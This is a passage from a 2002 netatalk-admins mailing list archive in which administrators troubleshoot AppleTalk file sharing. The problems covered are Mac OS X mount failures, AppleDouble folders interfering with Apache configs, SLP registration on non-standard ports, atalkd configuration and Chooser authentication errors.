From: Rick Zeman <rzeman@his.com>
To: Kyle Johnson <kyle.johnson@duke.edu>, Netatalk <netatalk-admins@umich.edu>
Message-ID: <B893EAA5.4C3E%rzeman@his.com>
In-Reply-To: <B893BAEF.7A8A%kyle.johnson@duke.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/16/02 7:29 AM, "Kyle Johnson" <kyle.johnson@duke.edu> wrote:

> On 2/15/02 11:02 PM, "Rick Zeman" <rzeman@his.com> wrote:
> 
>> Add to your /etc/rc file (as a superuser):
>> sysctl -w net.link.ether.inet.apple_hwcksum_rx=0
> 
> This didn't help me on my Powerbook from either the wireless network or the
> wired one.

Hmm, you did that on the Mac AND rebooted?

-- 
"So Long, and Thanks For All the Fish."
       --Douglas Adams
          1952-2001


From netatalk.administrators-errors@umich.edu  Sat Feb 16 11:10:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA27283
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 11:10:08 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA24060
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 11:10:08 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA24051
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 11:10:07 -0500 (EST)
Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA24025
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 11:10:06 -0500 (EST)
Received: from host213-122-10-98.in-addr.btopenworld.com ([213.122.10.98] helo=nexus.local.net)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16c7PY-0003NM-00; Sat, 16 Feb 2002 16:10:04 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id PAA20176;
	Sat, 16 Feb 2002 15:59:13 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100303b89431fbbc4d@[10.0.1.10]>
In-Reply-To: <3C6E6EF4.FF629BE0@hkust.se>
References: <B892AD6C.B348%sflist@ihonk.com>
 <p0510030eb893e9459fcc@[10.0.1.10]> <3C6E6EF4.FF629BE0@hkust.se>
X-Mailer: Eudora for Macintosh!
Date: Sat, 16 Feb 2002 15:59:12 +0000
To: Magnus Stenman <stone@hkust.se>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: AppleDouble & apache
Cc: netatalk-admins <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 3:38 pm +0100 16/2/02, Magnus Stenman wrote:
>>  Currently I have the real files in an area writable by BBEdit and
>>  then links to them in the apache config directory which has an empty
>>  .AppleDouble folder so it works. But it makes adding a new virtual
>>  host a bit more complex than simply dropping the new file into the
>>  appropriate folder as the new link also needs to be created. Not a
>>  big deal, but I'd prefer to avoid it if possible.
>>  --
>
>Stick something like this into your apache (re)start scripts:
>
>VH=/path/to/apacheconfig/vhosts/
>AVH=/path/to/macfiles/vhosts/
>rm $VH/*
>for f in $AVH/*; do ln -s "$f" $VH; done


Yes, I probably will do this, but I was hoping for some 'magic' 
option that avoided the issue entirely rather than having to work 
around it.

Thanks for the suggestion.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sat Feb 16 11:45:47 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA28941
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 11:45:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA23036
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 11:45:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA23029
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 11:45:46 -0500 (EST)
Received: from redwood.myhouse.com (adsl-63-206-168-17.dsl.sktn01.pacbell.net [63.206.168.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA23011
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 11:45:45 -0500 (EST)
Received: (qmail 23327 invoked from network); 16 Feb 2002 16:45:41 -0000
Received: from unknown (HELO modbee.com) (192.168.40.10)
  by 0 with SMTP; 16 Feb 2002 16:45:41 -0000
Message-ID: <3C6E8CAE.1000301@modbee.com>
Date: Sat, 16 Feb 2002 08:45:34 -0800
From: Tyler Hardison <thardison@modbee.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2.1) Gecko/20010901
X-Accept-Language: en-us
MIME-Version: 1.0
To: Kyle Johnson <kyle.johnson@duke.edu>
CC: Netatalk <netatalk-admins@umich.edu>
Subject: Re: MacOS-X issues.
References: <B893C595.7A90%kyle.johnson@duke.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Kyle Johnson wrote:

>On 2/15/02 5:42 PM, "Tyler Hardison" <thardison@modbee.com> wrote:
>
>>* Server mounts then promptly dismounts.
>>  1. Its fascinating to note that I had this problem at first too. But
>>compiling the current source seems to have eliminated this problem.
>>Go figure.
>>
>
>I've been using a RPM of 1.5.1.1 for Redhat that someone else prepared.  Do
>you have the config options you used to compile it?  Maybe I can compare and
>see what is different.
>
>Also, adding the login message now allows me to mount the server.  I'm still
>testing regarding the disconnect after awhile.
>
>/kyle
>---
>Kyle Johnson                                     kyle.johnson@duke.edu
>Manager, Information Systems        http://www.studentaffairs.duke.edu
>Duke University Student Affairs
>-----------------------------------------------------------------------
>Ham and Eggs. Just a day's work for a chicken but a lifetime commitment
>for a pig.
>
Well let me give you a rundown of what I am using:

PowerPC G3-450 w/ 384 Mb RAM
Yellow Dog Linux 2.1
Current CVS (as of 2pm 2/15)
configure options (--enable-redhat)

And that is it folks.

Tyler.



From netatalk.administrators-errors@umich.edu  Sat Feb 16 14:13:56 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA04638
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 14:13:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA21287
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 14:13:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA21284
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 14:13:55 -0500 (EST)
Received: from mail7.nc.rr.com ([24.93.67.54])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA21279
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 14:13:54 -0500 (EST)
Received: from [192.168.1.14] ([24.25.10.149]) by mail7.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Sat, 16 Feb 2002 14:13:11 -0500
User-Agent: Microsoft-Entourage/10.0.1.1705
Date: Sat, 16 Feb 2002 14:13:10 -0500
Subject: Re: MacOS-X issues.
From: Kyle Johnson <kyle.johnson@duke.edu>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B8941976.7AAD%kyle.johnson@duke.edu>
In-Reply-To: <B893EAA5.4C3E%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/16/02 10:53 AM, "Rick Zeman" <rzeman@his.com> wrote:

>> On 2/15/02 11:02 PM, "Rick Zeman" <rzeman@his.com> wrote:
>> 
>>> Add to your /etc/rc file (as a superuser):
>>> sysctl -w net.link.ether.inet.apple_hwcksum_rx=0
>> 
>> This didn't help me on my Powerbook from either the wireless network or the
>> wired one.
> 
> Hmm, you did that on the Mac AND rebooted?
> 

Yup.  I had to think awhile about how to reboot.  I don't think I've had to
do that since I powered the unit up.  '-)  I'm OK with the login message
work around for now.  Much better than having to hack every OSX machine on
our network.

I'm still hoping someone at Apple can figure out why during the login when
AFPCheckRunning returns false the mount works, but if if returns true it
doesn't.  That's the only difference I can find in the logs between the
mounts that fail and the ones that work.

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
<-------- The information went data way --------


From netatalk.administrators-errors@umich.edu  Sat Feb 16 15:39:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id PAA09381
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 15:39:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA29397
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 15:39:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA29395
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 15:39:01 -0500 (EST)
Received: from agni (AGNI.click-network.com [131.191.28.197])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA29381
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 15:39:00 -0500 (EST)
Received: from localhost ([::ffff:127.0.0.1])
  by agni with esmtp; Sat, 16 Feb 2002 12:38:47 -0800
Subject: Re: [ANNOUNCE] Mac::AppleSingleDouble.pm 1.0 released (it's a Perl
	module)
From: Chris <lists@forevermore.net>
To: Jamie Flournoy <jamie@white-mountain.org>
Cc: netatalk-admins@umich.edu
In-Reply-To: <3BE1CCD1.37874FDA@white-mountain.org>
References: <3BE1CCD1.37874FDA@white-mountain.org>
X-Mailer: Evolution/1.0.2 
Date: 16 Feb 2002 12:38:47 -0800
Message-Id: <1013891927.28346.11.camel@agni>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit

I finally got a cd burner working on my linux box, and am interested in
writing a script that goes through and sets all of the directories to a
standard list view if I insert the disk into a mac (I'm burning in iso
format).  Other than the obvious effiency benefits of scripting things,
rather than doing them by hand, some of the directories have WAY more
than the mac's max-character limit (not an issue after they're burnt
since the mac only reads the small names from the iso) and I can't see
some of the directories via netatalk.

I ran across this old posting and its mention of the nifty perl module,
but it doesn't seem to have anything for dealing with the .Parent files
used for storing this information.  Has anyone else out there ever
messed with this info?

-Chris

On Thu, 2001-11-01 at 14:29, Jamie Flournoy wrote:
> I run netatalk and needed to do some file management on the server side
> using Finder info... so I wrote this Perl module to help. It makes it
> easy to examine a given AppleSingle or AppleDouble formatted file and to
> get at the Mac metadata.
> 
> ------------------
> You can find this module at your local CPAN mirror (see
> http://www.perl.com/CPAN for details).
> 
> The uploaded file
> 
>     Mac-AppleSingleDouble-1.0.tar.gz
> 
> has entered CPAN as
> 
>   file: $CPAN/authors/id/J/JF/JFLOURNOY/Mac-AppleSingleDouble-1.0.tar.gz
> 
>   size: 16047 bytes
>    md5: 96343f4314905602f96e379baa25996f
> 
> 
> 




From netatalk.administrators-errors@umich.edu  Sat Feb 16 17:32:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA13583
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 17:32:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1GMWUD07243
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 17:32:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1GMWTV07237
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 17:32:29 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (ebv.mimnet.northwestern.edu [165.124.253.94])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1GMWSY07232
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 17:32:28 -0500 (EST)
Received: from ebv.mimnet.nwu.edu (IDENT:WmiRwyHexjjZN739G6EuqxcILgCrfXZY@localhost [127.0.0.1])
	by ebv.mimnet.nwu.edu with ESMTP id g1GMWKWA026767
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 16:32:20 -0600
Received: from localhost (aiyar@localhost)
	by ebv.mimnet.nwu.edu with ESMTP id g1GMWKq1026764
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 16:32:20 -0600
Date: Sat, 16 Feb 2002 16:32:20 -0600 (CST)
From: Ashok Aiyar <aiyar@ebv.mimnet.nwu.edu>
To: netatalk-admins@umich.edu
Subject: SLP v/s afpd bound to non-standard port
Message-ID: <Pine.LNX.4.44.0202161627500.26751-100000@ebv.mimnet.nwu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I have an ASIP v/s SLP question.  I am running afpds bound to different
TCP ports (548, 2524) that show up by different names under the Chooser.

>From the chooser I can also connect to these afpds by clicking on "server
IP address", and entering names formatted as "FQDN:port", or specifically
in my case "ebv.mimnet.nwu.edu:548" or "ebv.mimnet.nwu.edu:2524" (yes,
I know the 548 is not required in the first example).

Using slptool from OpenSLP (1.0.7), I have registered these afpds, using
what I am fairly sure are syntactically correct commands, and when I
run `slptool findsrvs afp`, I get the following response:

afp://165.124.253.94/?NAME=Aiyar Strider Files,65535
afp://165.124.253.94:2524/?NAME=Aiyar LinuxPC (ebv),65535

These show up in the Network Browser (with the appropriate names), but
when I click on them, I can only connect to the afpd bound to the
default port.  I cannot connect to the afpd bound to the alternative
port.

Is this a limitation in Network Browser?  Can anyone else get it to
connect to an afpd bound to a non-standard port?  I am using MacOS 9.2.2,
and Network Browser version 2.0.

Curious,
Ashok

P.S. The specific commands I used with `slptool` were:

slptool register afp://165.124.253.94/?NAME="Aiyar Strider Files"
slptool register afp://165.124.253.94:2524/?NAME="Aiyar LinuxPC (ebv)"
-- 
Ashok Aiyar, Ph.D.
Assistant Professor                    email: a-aiyar@northwestern.edu
Department of Microbiology-Immunology           office: (312) 503-2524
303 E. Chicago Avenue, WARD 4-123                  lab: (312) 503-2542
Northwestern University, Chicago, IL 60611         fax: (312) 503-1339


From netatalk.administrators-errors@umich.edu  Sun Feb 17 00:40:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA00392
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 00:40:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA17801
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 00:40:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA17789
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 00:40:32 -0500 (EST)
Received: from mout02.kundenserver.de (mout02.kundenserver.de [195.20.224.133])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA17762
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 00:40:30 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout02.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16cK3q-0000Vj-00
	for netatalk-admins@umich.edu; Sun, 17 Feb 2002 06:40:30 +0100
Received: from [62.158.202.165] (helo=[62.158.202.165])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16cK3o-0002ET-00
	for netatalk-admins@umich.edu; Sun, 17 Feb 2002 06:40:29 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Sun, 17 Feb 2002 06:40:40 +0100
Subject: [Summary:] Re: TCP only server -- SLP registration fails
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B89500DD.3047D%ts@visual-s.de>
In-Reply-To: <B88F1C36.3029A%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

not exactly a summary -- there has been zero response -- finally
I have been able to solve the slp registering problem on my own :-))

Turned out, for an TCP-only Netatalk server -- if compiled to use TCP
wrappers -- atalk *must* be started after inetd (regardless of TCP wrapper
permissions). Don't ask me why (well, of cause I know DDP is not under
control of inetd), but a DDP over TCP server attaches fine to slpd if
started before inetd -- whilestarting a TCP only server before inetd results
in an "Error registering" error message.

btw, originally I have had created Sys V symlinks that would start
netatalk after inetd, but Suse's Yast1 (at Suse 7.3) did reset those
symlinks to start netatalk long before inetd (I didn't do any investigation
when and why symlinks got changed by Yast -- at least after disabling
and re-enabling netatalk startup whithin Yast apparently they'll revert to
Suse defaults).

My above report might not be exact (because of my personal ignorance) -- may
be some *nix expert wants to chime in and offer more details about netatalk
and TCP wrappers interaction?

-Thomas

On 2002-02-12 19:29 +0100, I wrote:

> Hi everybody, 
> 
> I'm running FreeSLP 1.0.7, default config files. The first log
> below is captured with ATALKD running, Network Browser (AppleTalk enabled
> at client) works like expected: server shows up both under
> "AppleTalk" and "Local Services".
> 
> *** (Apple Talk active at the Linux box) ***
> Feb 11 03:01:47 bob kernel: NET4: AppleTalk 0.18a for Linux NET4.0
> Feb 11 03:01:47 bob atalkd[464]: restart (1.5.1.1)
> Feb 11 03:01:49 bob kernel: eth1: no IPv6 routers present
> Feb 11 03:01:49 bob kernel: eth0: no IPv6 routers present
> Feb 11 03:01:49 bob atalkd[464]: zip_getnetinfo for eth0
> Feb 11 03:02:07 bob last message repeated 2 times
> Feb 11 03:02:17 bob atalkd[464]: config for no router
> Feb 11 03:02:18 bob atalkd[464]: ready 0/0/0
> Feb 11 03:02:37 bob afpd[571]: bob:AFPServer@* started on 65280.33:128
> (1.5.1.1)
> Feb 11 03:02:37 bob afpd[571]: ASIP started on 192.168.33.110:548(2)
> (1.5.1.1)
> Feb 11 03:02:37 bob afpd[571]: Sucessfully registered
> afp://192.168.33.110/?NAME=bob with SRVLOC
> Feb 11 03:02:37 bob afpd[571]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
> Feb 11 03:02:37 bob afpd[571]: uam: uams_dhx.so loaded
> Feb 11 03:02:37 bob afpd[571]: uam: "DHCAST128" available
> ***
> 
> Now, ATALKD disabled at the server, -noddp statement given in afpd.conf,
> I get the errors below -- and naturally Network Browser shows nothing
> at all. But -- I'm still able to logon to the server by "Connect to
> server" giving its IP address or its DNS name:
> 
> *** (Apple Talk deactivated at the Linux box) ***
> Feb 11 02:48:55 bob afpd[452]: main: atp_open: Cannot assign requested
> address
> Feb 11 02:48:55 bob afpd[452]: ASIP started on 192.168.33.110:548(1)
> (1.5.1.1)
> Feb 11 02:48:55 bob kernel: NET4: AppleTalk 0.18a for Linux NET4.0
> Feb 11 02:48:55 bob afpd[452]: DSIConfigInit: Error registering
> afp://192.168.33.110/?NAME=bob with SRVLOC
> Feb 11 02:48:55 bob afpd[452]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
> Feb 11 02:48:55 bob afpd[452]: uam: uams_dhx.so loaded
> Feb 11 02:48:55 bob afpd[452]: uam: "DHCAST128" available
> ***
> 
> btw, running AppleTalk at the server only -- disabling AppleTalk just
> client side -- Network Browser shows the server at Local Services only ...
> again, expected behavior.
> 
> Simply, I don't understand the "main: atp_open: Cannot assign requested
> address" message, what might be happening here? Especially, when AppleTalk
> over IP works for me in every other regard?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Sun Feb 17 05:37:39 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA13072
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 05:37:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA00999
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 05:37:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA00986
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 05:37:39 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA00936
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 05:37:37 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id MAA25992;
	Sun, 17 Feb 2002 12:04:37 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 17 Feb 2002 11:38:17 +0100
Subject: Re: Netatalk was running before, now broken...
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Dan Ramaley <daniel.ramaley@DRAKE.EDU>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B893E419.1BFAB%Thomas.Kaiser@phg-online.de>
In-Reply-To: <01KE9VFX9320002RRW@DRAKE.EDU>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 14 Feb 2002 18:30:14 -0600 (CST), Dan Ramaley wrote:

> My /etc/netatalk/atalkd.conf is empty except for comment lines.

If you have multiple interfaces on this host then try to use:

dc0 -phase 2

Atalkd tries to modify atalkd.conf, so if it is not acting as a seed router
on an interface, it will write its AppleTalk address (given by the AppleTalk
router) and the published zonenames for this segment into atalkd.conf, so
you will get something like eg.

dc0 -phase -net 200-299 -addr 220.94 -zone "Another zone name"

afterwards. For debugging purposes you can use nbplkup and getzones or the
output of nbprgstr (read the man pages for details)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Feb 17 08:26:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA19302
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 08:26:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA10106
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 08:26:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA10089
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 08:26:35 -0500 (EST)
Received: from relay02.cablecom.net (relay02.cablecom.net [62.2.33.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA10041
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 08:26:34 -0500 (EST)
Received: from mail.swissonline.ch (mail.swissonline.ch [62.2.32.83])
	by relay02.cablecom.net (8.11.6/8.11.4/SOL/AWF/MXRELAY/06072001) with ESMTP id g1HDQUc87836
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 14:26:30 +0100 (CET)
Received: from [62.2.53.156] (dclient62-2-53-156.hispeed.ch [62.2.53.156])
	by mail.swissonline.ch (8.11.4/8.11.4/MSOL-2.30/21-Dec-2000) with ESMTP id g1HDQVA14000
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 14:26:32 +0100 (MET)
Mime-Version: 1.0
X-Sender: ujr@mail.swissonline.ch
Message-Id: <a05100300000417198034@[62.2.133.220]>
Date: Mon, 4 Jan 1904 03:41:44 +0100
To: netatalk-admins mailing list <netatalk-admins@umich.edu>
From: Urs-Jakob =?iso-8859-1?Q?R=FCetschi?=  <ujr@swissonline.ch>
Subject: AppleShare Client cannot register with Server
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA19302

Hi, I've got a problem on the MacOS side: Whenever I specify a UAM 
other than clear text (uams_clrtxt.so) in afpd.conf, the Chooser 
complains that:

"The User Authentication Method required by this server can't be 
found, please check the AppleShare folder in the Extensions folder 
and try again."

Unfortunately, I don't have any "AppleShare" folder even on a newly 
installed MacOS and reinstalling the latest AppleShare Client 
(version 3.8.8) doesn't help either. My MacOS version is 9.0.4 and my 
Netatalk is 1.5 running on a SuSE Linux 7.1 ppc box with a 2.4.2 
kernel. Apart from this problem, i.e., when using uams_clrtxt.so or 
uams_guest.so, everything works perfectly. However, I would really 
like to use encrypted passwords and hence employ uams_randnum.so or 
the like.

It's probably a stupid mistake on my part, which I wasn't able to 
figure out. Any help is greatly appreciated. Thanks a lot!
-- 
Urs-Jakob Rüetschi
ujr@swissonline.ch

From netatalk.administrators-errors@umich.edu  Sun Feb 17 11:47:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA26818
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 11:47:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA26087
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 11:47:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA26081
	for netatalk.administrators-members@umich.edu; Sun, 17 Feb 2002 11:47:06 -0500 (EST)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA26014
	for <netatalk-admins@umich.edu>; Sun, 17 Feb 2002 11:47:00 -0500 (EST)
Received: from ip68-14-83-188.ri.ri.cox.net (coxlaptop [68.14.83.188])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id LAA13814;
	Sun, 17 Feb 2002 11:51:55 -0500 (EST)
	(envelope-from leeb@digitalgraphics.net)
To: srittau@jroger.in-berlin.de (Sebastian Rittau),
        netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <20020216103908.GA1761@jroger.in-berlin.de>
Subject: Re: Netatalk 1.5.2 out
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sun, 17 Feb 2002 11:46:42 -0500
Message-ID: <1f7qz2m.z7psgq18k3qqaM@ip68-14-83-188.ri.ri.cox.net>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 390 days)

> Netatalk 1.5.2 is now available at http://www.sf.net/projects/netatalk/
> Changes from version 1.5.1 (and 1.5.1.1) include:

Any way you could put this on an ftp site that doesn't require going
through multiple web pages to get the file?

When I go to that url, I see in a list the file and on the right the
word "download."

I click on download and it takes me to another page that says...

"Below is a list of all files of the project. The release you have
chosen is highlighted. Before downloading, you may want to read Release
Notes and ChangeLog (accessible by clicking on release version)."

I don't see ther word "download" but after poking around I find that if
I click on the name I go to yet another page...


Clicking on 1.5 takes me to yet another page...

I seem to caught up in a cycle of pages.

Would it be too much to ask to just have a button that says...

"Download Now" and have the process begin?

I loathe the web.

I'll donate the ftp site if need be. 

From netatalk.administrators-errors@umich.edu  Sun Feb 17 11:59:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id LAA27267
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 17 Feb 2002 11:59:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA20900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 17 Feb 2002 11:59:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA20883
